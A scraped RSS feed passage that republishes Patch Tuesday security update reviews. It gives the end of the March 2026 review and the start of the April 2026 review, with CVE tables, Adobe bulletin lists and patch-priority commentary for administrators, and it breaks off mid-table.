  (RRAS) Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25173"><span><span> </span>CVE-2026-25173<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Routing and Remote Access Service
  (RRAS) Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26111"><span><span> </span>CVE-2026-26111<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Routing and Remote Access Service
  (RRAS) Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25185"><span><span> </span>CVE-2026-25185<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Shell Link Processing Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.3</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24294"><span><span> </span>CVE-2026-24294<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows SMB Server Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26128"><span><span> </span>CVE-2026-26128<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows SMB Server Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25166"><span><span> </span>CVE-2026-25166<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows System Image Manager Assessment and
  Deployment Kit (ADK) Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25188"><span><span> </span>CVE-2026-25188<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Telephony Service Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23672"><span><span> </span>CVE-2026-23672<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Universal Disk Format File System
  Driver (UDFS) Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25187"><span><span> </span>CVE-2026-25187<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Winlogon Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3536"><span><span> </span>CVE-2026-3536 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3536 Integer overflow in
  ANGLE<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3538"><span><span> </span>CVE-2026-3538 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3538 Integer overflow in
  Skia<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3539"><span><span> </span>CVE-2026-3539 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3539 Object lifecycle
  issue in DevTools<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3540"><span><span> </span>CVE-2026-3540 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3540 Inappropriate
  implementation in WebAudio<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3541"><span><span> </span>CVE-2026-3541 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3541 Inappropriate
  implementation in CSS<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3542"><span><span> </span>CVE-2026-3542 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3542 Inappropriate
  implementation in WebAssembly<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3543"><span><span> </span>CVE-2026-3543 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3543 Inappropriate
  implementation in V8<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3544"><span><span> </span>CVE-2026-3544 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3544 Heap buffer overflow
  in WebCodecs<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3545"><span><span> </span>CVE-2026-3545 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3545 Insufficient data
  validation in Navigation<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 &lt;![if supportMisalignedColumns]&gt;
 <tr height="0">
  <td width="151"></td>
  <td width="263"></td>
  <td width="111"></td>
  <td width="111"></td>
  <td width="111"></td>
  <td width="111"></td>
  <td width="95"></td>
 </tr>
 &lt;![endif]&gt;
</table>











  
  









  <p class=""><em>* Indicates this CVE had been released by a third party and is now being included in Microsoft releases</em>.</p><p class=""><em>† Indicates further administrative actions are required to fully address the vulnerability.</em></p><p class=""><em> </em></p><p class="">Looking at the other Critical-rated bugs in this month’s release, they are all cloud-native and require no user action. Microsoft has already remediated the vulnerabilities.</p><p class="">Moving on to the other code execution bugs, the vulnerabilities in SharePoint Server pop out first. Both require authentication, but it’s essentially the lowest level of authentication, so these would be ideal cases for lateral movement within an enterprise. There are the standard open-and-own cases within Office components. There an interesting sounding bug in the Windows Mobile Broadband Driver that requires physical access, but Microsoft doesn’t elaborate on the attack scenario beyond that fact. The bug in the System Image Manager Assessment and Deployment Kit (ADK) requires authentication. The bug in GDI requires user interaction. The remaining code execution bugs are in the RRAS protocol. We’ve seen bugs in this component in the past, but never in the wild. I wouldn’t ignore these, but I wouldn’t rush them out either.</p><p class="">Similar to last month, updates for Elevation of Privilege (EoP) bugs make up nearly half of this month’s release. And as we saw last month, but most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges. The bugs in SQL Server allow attackers to elevate to SQL sysadmin privileges. The bug in the Azure MCP Server is more complex. It allows attackers to obtain the permissions associated with the MCP Server’s managed identity, which lets them perform actions that the managed identity is able to reach. The bug in the Azure AD SSH Login extension for Linux leads to root access, and it won’t be easy to patch. You’ll need to run the update instructions from the command line on each affected system. That’s the same case for the bug in the Linux Azure Diagnostic extension (LAD). There’s an odd bug in the Hybrid Worker Extension (Arc‑enabled Windows VMs) that leads to “ELEVATED” privileges, which is something I’ve never seen before. The bug in the Broadcast DVR component allows an attacker to go from low integrity level up to medium. There’s a bug listed as an EoP in the Push message Routing Service, but reading the description, Microsoft notes it could lead to an information disclosure. It’s likely this is an error and should be an Information Disclosure bug. The final EoP is in the Azure Portal Windows Admin Center and leads to SYSTEM. However, there’s no patch to remediate this bug. Instead, you need to install the latest version of the Windows Admin Center extension through the Azure Portal by hand. </p><p class="">There are two security feature bypass patches in the March release. The first is a bypass of the MapURLToZone method, which (as expected) allows attackers to bypass MapURLToZone protections. The third bypass is in Kerberos and could allow an attacker to either view some sensitive information or make changes to “disclosed” information. This is a race condition that occurs while the group policy is being reapplied, so the window to exploit this would be extremely small.</p><p class="">Looking at the remaining info disclosure bugs getting patched this month, only two result in info leaks consisting of unspecified memory contents or memory addresses. Ther others provide more interesting results. There are three bugs in the Azure IoT Explorer have some wide-ranging implications. According to Microsoft, exploitation could result in, “device connection information, authentication tokens, request data, file paths, and other information transmitted between the application and the IoT Hub.” The bug in Authenticator almost reads like a security feature bypass, as exploit results in the disclosure of a one‑time sign‑in code or authentication deep link. The attacker would receive the sign‑in information and could potentially use it to authenticate as the user, allowing access to information or services available to that account. The last info disclosure bug is in the Accessibility Infrastructure and allows an attacker to gain secrets or privileged information belonging to the user of the affected application.</p><p class="">There are only four spoofing bugs in the March release. The first is in SharePoint server and manifests as an XSS. The second bug is a Server-Side Request Forgery (SSRF) in the Azure IoT Explorer. The remaining two are a bit more cryptic. The bug in Windows Shell Link Processing results from the “exposure of sensitive information to an unauthorized actor,” and could lead to spoofing. That sounds like credential exposure, but it’s not explicitly called out. The final spoofing bug results from the insufficient verification of data authenticity in Windows App Installer. Again, this sounds vaguely like credential reflection, but without further information, we can only speculate. </p><p class="">Finally, there are four denial-of-service (DoS) bugs in the release, including one that’s listed as publicly known in the .NET Framework. As usual, Microsoft provides no actionable information about these bugs.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">I plan on being at RSA for the first time in my career, so if you’re around, please stop by and say hello. I like it when people say hello. Otherwise, I’ll be back on April 14 with my assessment of that patch Tuesday release. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The April 2026 Security Update Review]]></title>
<description><![CDATA[It’s time once again for Patch Tuesday, and this one is huge. We’ve also got multiple exploits in the wild, which adds another layer of urgency to this month’s release. Take a break from your regularly scheduled activities, and let’s take a look at the latest security patches from Adobe and Micro...]]></description>
<link>https://tsecurity.de/de/3694470/it-security-nachrichten/the-april-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694470/it-security-nachrichten/the-april-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:00:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">It’s time once again for Patch Tuesday, and this one is huge. We’ve also got multiple exploits in the wild, which adds another layer of urgency to this month’s release. Take a break from your regularly scheduled activities, and let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:</p>





















  
  




  
















  
    
      
    
    
      
        
      
    
    
    



  






  <p class=""><strong>Adobe Patches for April 2026</strong></p><p class="">For April, Adobe released 12 bulletins addressing 61 unique CVEs in Adobe Acrobat Reader, InDesign, InCopy, FrameMaker, Connect, ColdFusion, Bridge, Photoshop, Illustrator, Experience Manager Screens, and the Adobe DNG SDK. Three of the Cold Fusion bugs came through the TrendAI ZDI program. For this month, I’m introducing an Adobe table as well. I’d love to get your feedback on whether this is helpful.</p>





















  
  




  


  
    


<table>
<colgroup>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
</colgroup>
<thead>
  <tr>
    <th>Bulletin ID</th>
    <th>Product</th>
    <th>CVE Count</th>
    <th>Highest Severity</th>
    <th>Highest CVSS</th>
    <th>Exploited</th>
    <th>Deployment Priority</th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/acrobat/apsb26-43.html" target="_blank">APSB26-43</a></td>
    <td>Adobe Acrobat Reader</td>
    <td>1</td>
    <td>Critical</td>
    <td>8.6</td>
    <td>Yes</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/acrobat/apsb26-44.html" target="_blank">APSB26-44</a></td>
    <td>Adobe Acrobat Reader</td>
    <td>2</td>
    <td>Critical</td>
    <td>8.6</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/indesign/apsb26-32.html" target="_blank">APSB26-32</a></td>
    <td>Adobe InDesign</td>
    <td>9</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/incopy/apsb26-33.html" target="_blank">APSB26-33</a></td>
    <td>Adobe InCopy</td>
    <td>2</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/framemaker/apsb26-36.html" target="_blank">APSB26-36</a></td>
    <td>Adobe FrameMaker</td>
    <td>11</td>
    <td>Critical</td>
    <td>8.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/connect/apsb26-37.html" target="_blank">APSB26-37</a></td>
    <td>Adobe Connect</td>
    <td>9</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/coldfusion/apsb26-38.html" target="_blank">APSB26-38</a></td>
    <td>Adobe ColdFusion</td>
    <td>7</td>
    <td>Critical</td>
    <td>9.3</td>
    <td>No</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/bridge/apsb26-39.html" target="_blank">APSB26-39</a></td>
    <td>Adobe Bridge</td>
    <td>6</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/photoshop/apsb26-40.html" target="_blank">APSB26-40</a></td>
    <td>Adobe Photoshop</td>
    <td>1</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/illustrator/apsb26-42.html" target="_blank">APSB26-42</a></td>
    <td>Adobe Illustrator</td>
    <td>1</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/aem-screens/apsb26-34.html" target="_blank">APSB26-34</a></td>
    <td>Adobe Experience Manager Screens</td>
    <td>9</td>
    <td>Important</td>
    <td>5.4</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/dng-sdk/apsb26-41.html" target="_blank">APSB26-41</a></td>
    <td>Adobe DNG SDK</td>
    <td>3</td>
    <td>Important</td>
    <td>5.5</td>
    <td>No</td>
    <td>3</td>
  </tr>
</tbody>
</table>



  
  









  <p class="">Obviously, the active attack in Reader is the highest priority for this month, but don’t ignore the second bunch of Reader patches. Cold Fusion also gets a deployment priority of 1, so if you’re still running that platform, make sure you get the update. Otherwise, the FrameMaker and Connect patches fix 11 and nine bugs, respectively. InDesign and Experience Manager Screens also have nine CVEs addressed. </p><p class="">Outside of the Reader bug, none of the other bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release. One of the Reader bugs and Cold Fusion have a deployment priority of one, the other Reader bug has a priority of two, while all of the other updates released by Adobe this month are listed as deployment priority 3.</p><p class=""><strong>Microsoft Patches for April 2026</strong></p><p class="">This month, Microsoft released a monstrous 163 new CVEs in Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, SQL Server, Hyper-V Server, BitLocker, and the Windows Wallet Service. Counting the third-party and a huge Chromium release, it brings the total number of CVEs to a staggering 247 updates. Six of these bugs were reported through the TrendAI ZDI program. Eight of these bugs are rated Critical, two are rated as Moderate, and the rest are rated Important in severity.</p><p class="">By my count, this is the second-largest monthly release in Microsoft’s history. There are many things we could speculate on to justify the size, but if Microsoft is like the other programs out there (including ours), they are likely seeing a rise in submissions found by AI tools. For us, our incoming rate has essentially tripled, making triage a challenge, to say the least. Whatever the reason, we have a lot of bugs to deal with this month. I should also point out that the Pwn2Own Berlin occurs next month, and it’s typical for vendors to patch as much as they can before the event.</p><p class="">There is one Microsoft bug listed as under active attack at the time of release, and one other that’s publicly known. Let’s take a closer look at some of the more interesting updates for this month, starting with the vulnerability being exploited in the wild:</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32201" target="_blank"><strong>CVE-2026-32201</strong></a><strong> - Microsoft SharePoint Server Spoofing Vulnerability<br></strong>Microsoft doesn’t provide a lot of information about this bug, but Spoofing bugs in SharePoint often manifest as cross-site scripting (XSS) bugs. They do note that attackers could view information or make changes to disclosed information. As always, they don’t provide any information on how widespread these attacks are, but I wouldn’t wait to test and deploy this fix – especially if you have internet-connected SharePoint servers.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33825" target="_blank"><strong>CVE-2026-33825</strong></a><strong> - Microsoft Defender Elevation of Privilege Vulnerability<br></strong>This bug is listed as publicly known, and this time, we know exactly <a href="https://deadeclipse666.blogspot.com/2026/04/public-disclosure.html" target="_blank">where</a> it was disclosed. There have been some questions about how exploitable this bug may be, but it does look like it’s a real problem – just with some reliability issues in its current state. I won’t add on to the commentary from the researcher about working with Microsoft. I’m just glad they are offering a fix for the vulnerability. If you rely on Defender, test and deploy this one quickly.</p><p class="">-   <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33827" target="_blank"><strong>CVE-2026-33827</strong></a><strong> - Windows TCP/IP Remote Code Execution Vulnerability<br></strong>This vulnerability allows remote, unauthenticated attackers to exploit code on affected systems without user interaction. That adds up to a wormable bug – at least on systems with IPv6 and IPSec enabled. It is a race condition, which sets exploitability to High on the CVSS scale, but we see race conditions exploited at Pwn2Own all the time, so don’t rely on that obstacle. If you’re running IPv6, I would test and deploy this fix quickly before public exploits become available.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33824" target="_blank"><strong>CVE-2026-33824</strong></a><strong> - Windows Internet Key Exchange (IKE) Service Extensions Remote Code Execution Vulnerability<br></strong>Speaking of wormable bugs, here’s our second one this month. By the title, we can tell that systems with IKE enabled are affected, but that leaves plenty of targets for attackers. Microsoft also notes a significant mitigation for this bug. Blocking UDP ports 500 and 4500 at the perimeter prevents external attackers from reaching the affected service. However, insiders could still target this for lateral movement within an enterprise. For enterprises using IKE, get this fix tested and deployed with haste.</p><p class="">Here’s the full list of CVEs released by Microsoft for April 2026:</p>





















  
  




  


  
    




<title>April 2026 Patch Tuesday</title>



<table>
<thead><tr>
  <th>CVE</th>
  <th>Title</th>
  <th>Severity</th>
  <th>CVSS</th>
  <th>Public</th>
  <th>Exploited</th>
  <th>Type</th>
</tr></thead>
<tbody>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32201">CVE-2026-32201</a></td>
  <td>Microsoft SharePoint Server Spoofing Vulnerability</td>
  <td>Important</td>
  <td>6.5</td>
  <td>No</td>
  <td>Yes</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5281">CVE-2026-5281 *</a></td>
  <td>Chromium: CVE-2026-5281 Use after free in Dawn</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>Yes</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33825">CVE-2026-33825</a></td>
  <td>Microsoft Defender Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>Yes</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23666">CVE-2026-23666</a></td>
  <td>.NET Framework Denial of Service Vulnerability</td>
  <td>Critical</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32190">CVE-2026-32190</a></td>
  <td>Microsoft Office Remote Code Execution Vulnerability</td>
  <td>Critical</td>
  <td>8.4</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33114">CVE-2026-33114</a></td>
  <td>Microsoft Word Remote Code Execution Vulnerability</td>
  <td>Critical</td>
  <td>8.4</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33115">CVE-2026-33115</a></td>
  <td>Microsoft Word Remote Code Execution Vulnerability</td>
  <td>Critical</td>
  <td>8.4</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32157">CVE-2026-32157</a></td>
  <td>Remote Desktop Client Remote Code Execution Vulnerability</td>
  <td>Critical</td>
  <td>8.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33826">CVE-2026-33826</a></td>
  <td>Windows Active Directory Remote Code Execution Vulnerability</td>
  <td>Critical</td>
  <td>8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33824">CVE-2026-33824</a></td>
  <td>Windows Internet Key Exchange (IKE) Service Extensions Remote Code Execution Vulnerability</td>
  <td>Critical</td>
  <td>9.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33827">CVE-2026-33827</a></td>
  <td>Windows TCP/IP Remote Code Execution Vulnerability</td>
  <td>Critical</td>
  <td>8.1</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26171">CVE-2026-26171</a></td>
  <td>.NET Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32226">CVE-2026-32226</a></td>
  <td>.NET Framework Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>5.9</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32178">CVE-2026-32178</a></td>
  <td>.NET Spoofing Vulnerability</td>
  <td>Important</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32203">CVE-2026-32203</a></td>
  <td>.NET and Visual Studio Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33116">CVE-2026-33116</a></td>
  <td>.NET, .NET Framework, and Visual Studio Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-20585">CVE-2023-20585 *</a></td>
  <td>AMD: CVE-2023-20585 IOMMU Write Buffer Vulnerability</td>
  <td>Important</td>
  <td>5.3</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32072">CVE-2026-32072</a></td>
  <td>Active Directory Spoofing Vulnerability</td>
  <td>Important</td>
  <td>6.2</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25184">CVE-2026-25184</a></td>
  <td>Applocker Filter Driver (applockerfltr.sys) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32171">CVE-2026-32171</a></td>
  <td>Azure Logic Apps Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>8.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32168">CVE-2026-32168</a></td>
  <td>Azure Monitor Agent Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32192">CVE-2026-32192</a></td>
  <td>Azure Monitor Agent Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32181">CVE-2026-32181</a></td>
  <td>Connected User Experiences and Telemetry Service Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
